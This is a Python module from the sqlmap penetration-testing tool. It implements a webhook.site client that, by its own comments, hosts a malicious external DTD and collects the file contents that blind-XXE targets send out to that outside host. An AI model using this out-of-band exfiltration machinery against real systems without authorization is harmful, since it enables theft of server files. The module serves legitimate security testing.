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72 lines
3 KiB
Python
72 lines
3 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
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See the file 'LICENSE' for copying permission
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"""
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import json
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from lib.core.data import logger
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from lib.core.convert import getText
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from lib.core.enums import HTTP_HEADER
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from lib.core.settings import OOB_EXFIL_ENDPOINT
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from lib.request.connect import Connect as Request
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# webhook.site is used for blind-XXE OOB *exfiltration*: it can both serve a custom
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# response (our malicious external DTD) AND log the request the target then makes
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# (carrying the file content). interactsh cannot host arbitrary content, hence the
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# separate backend. HTTP-only, free tier, no account required for basic tokens.
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class WebhookSite(object):
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"""Thin webhook.site client: mints tokens (optionally serving fixed content)
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and reads back the requests captured on them. All calls go through sqlmap's
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request stack (proxy/timeout honoured) straight to the service, not the target."""
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def __init__(self):
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# Exfil host is the public content-serving endpoint (its token API is
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# service-specific, so --oob-server, which selects the interactsh *detection*
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# server, deliberately does not repoint it).
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self.endpoint = OOB_EXFIL_ENDPOINT.rstrip('/')
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def _api(self, path, post=None):
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try:
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headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"}
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page, _, code = Request.getPage(url="%s%s" % (self.endpoint, path), post=post,
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auxHeaders=headers, direct=True, silent=True, raise404=False)
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return page if (code is None or code in (200, 201)) else None
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except Exception as ex:
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logger.debug("webhook.site request to '%s' failed: %s" % (path, getText(ex)))
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return None
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def newToken(self, content=None):
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"""Create a token. When `content` is given the token serves it verbatim
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(used to host the external DTD). Returns the token UUID or None."""
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body = {"default_status": 200}
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if content is not None:
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body["default_content"] = content
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body["default_content_type"] = "application/xml"
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page = self._api("/token", post=json.dumps(body))
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if page:
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try:
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return json.loads(page).get("uuid")
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except ValueError:
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pass
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return None
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def hostUrl(self, token):
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"""Target-facing URL for a token. Plain HTTP - XML parsers (libxml) commonly
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cannot fetch https external entities."""
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host = self.endpoint.split("://", 1)[-1]
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return "http://%s/%s" % (host, token)
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def captured(self, token):
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"""Return the list of request records captured on `token` (newest first)."""
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page = self._api("/token/%s/requests?sorting=newest&per_page=50" % token)
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if page:
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try:
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return json.loads(page).get("data") or []
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except ValueError:
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pass
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return []
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